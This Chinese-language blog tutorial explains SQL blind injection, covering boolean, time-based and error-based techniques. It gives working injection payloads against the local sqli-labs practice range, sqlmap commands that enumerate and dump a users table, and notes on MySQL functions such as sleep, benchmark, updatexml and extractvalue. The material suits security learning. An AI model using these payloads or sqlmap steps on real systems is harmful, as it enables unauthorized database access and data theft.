侧边栏壁纸
博主头像
孔子说JAVA博主等级

成功只是一只沦落在鸡窝里的鹰,成功永远属于自信且有毅力的人!

  • 累计撰写 292 篇文章
  • 累计创建 132 个标签
  • 累计收到 4 条评论

目 录CONTENT

文章目录

sql盲注原理及示例详解

孔子说JAVA
2022-09-23 / 0 评论 / 0 点赞 / 24 阅读 / 5,626 字 / 正在检测是否收录...

SQL盲注是注入的一种,指的是在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,进而完成注入攻击,这个过程被称为盲注。sql盲注主要分为三类,分别是布尔盲注、延时盲注(也叫时间盲注)、报错盲注。

1、SQL盲注

如果数据库运行返回结果时只反馈对错不会返回数据库中的信息,此时可以采用逻辑判断是否正确的盲注来获取信息。盲注是不能通过直接显示的途径来获取数据库数据的一种方法。

1.1 盲注与普通注入区别

盲注就是在sql注入过程中,sql语句执行后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

SQL普通注入也可以叫SQL显错式注入,因为我们可以根据报错从而达到进入注入的正轨。

1.2 盲注分类

在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同,一般分为三类):布尔盲注、延时盲注(也叫时间盲注)、报错盲注。

sql 注入的基本步骤如下:
(1)判断是什么类型注入,有没过滤了关键字,可否绕过
(2)获取数据库用户,版本,当前连接的数据库等信息
(3)获取某个数据库表的信息
(4)获取列信息
(5)最后就是获取数据了

2、SQL盲注分类详解

2.1 布尔盲注

布尔盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回值可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为false。

布尔盲注流程:

  1. 求当前数据库的长度以及ASCII
  2. 求当前数据库表的ASCII
  3. 求当前数据库表中的个数
  4. 求当前数据库表中其中一个表的表名长度
  5. 求当前数据库中其中一个表的表名的ASCII
  6. 求列名的数量
  7. 求列名的长度
  8. 求列名的ascii
  9. 求字段的数量
  10. 求字段内容的长度
  11. 求字段内容的ascii

执行需要掌握函数:

  • length() # 返回字符串的长度
  • substr() # 截取字符串 (语法:substr(str,pos,len);)
  • ascii() # 返回字符的ascii码

示例讲解:

这里以sqlabs靶场为例,通过length函数判断数据库长度和数据表字段信息数量。通过substr、ascii函数判断数据库名、表名、字段值等。

  1. 测试注入点
# id 处存在注入点
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=2 --+
  1. 测所在数据库长度
# 求数据库的长度 
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database()) = 8 --+
  1. 猜当前数据库名

通过substr函数判断数据库名。

# 判断数据库第一位的字母
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1) = 's' --+

也可以通过substr、ascii函数判断数据库名。

# 利用ASCII码猜当前数据库名第一位的字母
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and (ascii(substr(database(),1,1)))=115 --+

# 利用ASCII码猜当前数据库名第二位的字母
http://127.0.0.1/sqli-labs-master/?id=1'  and (ascii(substr(database(),2,1)))=101 --+

以此类推,可以根据获取到所对应的值得到最终的数据库名。

  1. 求数据库中表名的长度

具体查询过程跟查数据库名基本一样,在 http://127.0.0.1/sqli-labs-master/Less-8/?id=1' 后面追加以下内容:

# 第一个表名长度:
' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+

# 第二个表名长度 
' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+

# 查询第一个表的第一位字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+

# 查询第二个表的第二个字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+
  1. 查询字段名

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' 后面追加以下内容:

# 判断字段的长度
'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+‘
 
# 判断字段长度名称第一个字母的ascii
 'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+

# 判断第二位长度名称第一个字母的ascii
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+

# 或使用ascii函数
and (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))=105 --+

sqlmap进行sql盲注示例

  1. 寻找注入点
sqlmap -u  127.0.0.1/sqli-labs-master/Less-8/?id=1

image-1663809386204

由图中可以看出,sql注入类型为bool盲注。

  1. 查库名
sqlmap -u 127.0.0.1/sqli-labs-master/Less-8/?id=1 --current-db

image-1663809653507

由图中可以看出,当前数据库名为security。

  1. 查表名
sqlmap -u 127.0.0.1/sqli-labs-master/Less-8/?id=1 -D security --tables

image-1663809500792

  1. 查字段名
sqlmap -u 127.0.0.1/sqli-labs-master/Less-8/?id=1 -D security -T users --dump

image-1663809531977

2.2 时间盲注

如论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。可以尝试基于时间的盲注来测试。根据页面响应的时间,来判断输入的信息是否正确。

  • 在可以判断返回正确还是错误的情况下,两种注入方法都可以用,延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。
  • 通过页面沉睡时间判断,如通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据:http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+
  • sql时间类型的盲注本质是利用插入的sql语句执行造成时间延迟

执行需要掌握函数:

通过构造的语句查看页面响应时间来判断,会用到的函数:

  • lenght
  • substr
  • ascii
  • limit
  • if(条件,A,B)如果条件成立执行A 否则执行B
  • sleep()函数

测试方式:

可以结合 > < = 判断运算符,采用二分法,构造如下的语句,分别猜测试出8字符,比如,先用 > 50判断,如果成立,再用< 123 判断,如果不成立,则正确的值就在50-123之前,这样不断的尝试最终用= 确定具体值。

?id=1’ and if ((ascii(substr(database(),1,1))>50),sleep(3),1) – +
?id=1’ and if ((ascii(substr(database(),1,1))<123),sleep(3),1) – +
?id=1’ and if ((ascii(substr(database(),1,1))=115),sleep(3),1) – +

get_lock函数() 需要使用 mysql_pconnect函数来连接数据库。

  • 在一个session中可以先锁定一个变量例如:select get_lock(‘do9gy’,1)。
  • 然后通过另一个session再次执行get_lock(‘do9gy’,5)此时会产生5秒的延迟,其效果类似于sleep(5)。

3、SQL注入常用函数

left(a,b) 从左截取a 的前b位:left(database(),1) > ‘s’
substr(a,b,c) 从b位置开始,截取字符串a的c长度
ascii() 将某个字符转换为ascii值:ascii(substr(user),1,1)=101#
mid(a,b,c)从位置b开始,截取a字符串的c位 regexp正则表达式的用法
user()结果位root ,regexp为匹配root的正则表达式:select user()’

3.1 left(a,b)函数

LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

LEFT(str,length);如果str或length参数为null,则返回null。

str是要提取字符串的字符串、length是一个正整数,指定将从左边返回的字符数。

length大于str字符串的长度,则LEFT返回整个str字符串 (返回str的长度,以字节为单位,一个多字节可算作多字节。

3.2 substr() 或 substring()函数

SBUSTR(str,pos)开始的位置,一直截取到最后。

SBUSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)!

SELECT SUBSTRING(‘chinese’,-3); //倒数第三个字符之后的子字符串-ese

image-1663810466951

3.3 ord() mid()函数

函数ord() 函数返回字符串str的最左面字符的ASCII代码值

image-1663810523060

函数mid()用于得到字符串的一部分。

image-1663810534445

3.4 cast() 和 convert()函数

cast() convert() 函数可用来获取一个类型的值,并生产另一个类型的值。

可转换的类型 二进制,通带binary前缀的效果:BINARY 字符型,
可带参数:char()
日期:DATE
时间:time
日期时间型:datetime
浮点型:decimal
整数:signen
无符号整数:unsignen

3.5 ifnull()函数

IFNULL()意义是当字段A是NULL时取B,不是NULL取A

3.6 sleep()或benchmark()

通过执行select sleep(n)可以让此语句执行n秒

  • 条件:指定条件的记录存在时才会停止指定的秒数
  • 列如:查询条件为name='pig’结果表明记录不存在,执行结果为0

基于时间的盲注在使用延迟函数上可以有两个选择:

  • benchmark(count,expr)函数
  • sleep(time)函数

前者通过将expr语句执行 count次来到达延迟的目的,后者是直接延迟time时间。benchmark是一个内置函数,其作用是来测试一写函数的执行速度,benchmark()其中有两个参数,第一个是执行次数,另一个是要执行的函数或者表达式。

3.7 Xpath类型函数(mysql version >= 5.1.5)

(1) updatexml() 函数功能:改变文档中符合条件的节点的值。

  • 语法:Updatexml(xml_documnet,XPath_string,new_value);
  • 第一个参数:XML_document是string格式,为XML文档对象的名称
  • 第二个参数:XPath_string(Xpath格式的字符串)
  • 第三个参数:new_value,string格式,替换查找到的符合条件的数据

超过长度可以配合substr()

(2) extractvalue() 函数功能:对XML文档进行查询的函数,其实就是相当于HTML文件中标签查找元素。

  • 语法:extractvalue(目标XML文件,XML路径)
  • 第二个参数 xml中位置是可以操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx…

这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法内容就是号想要查询的内容

0

评论区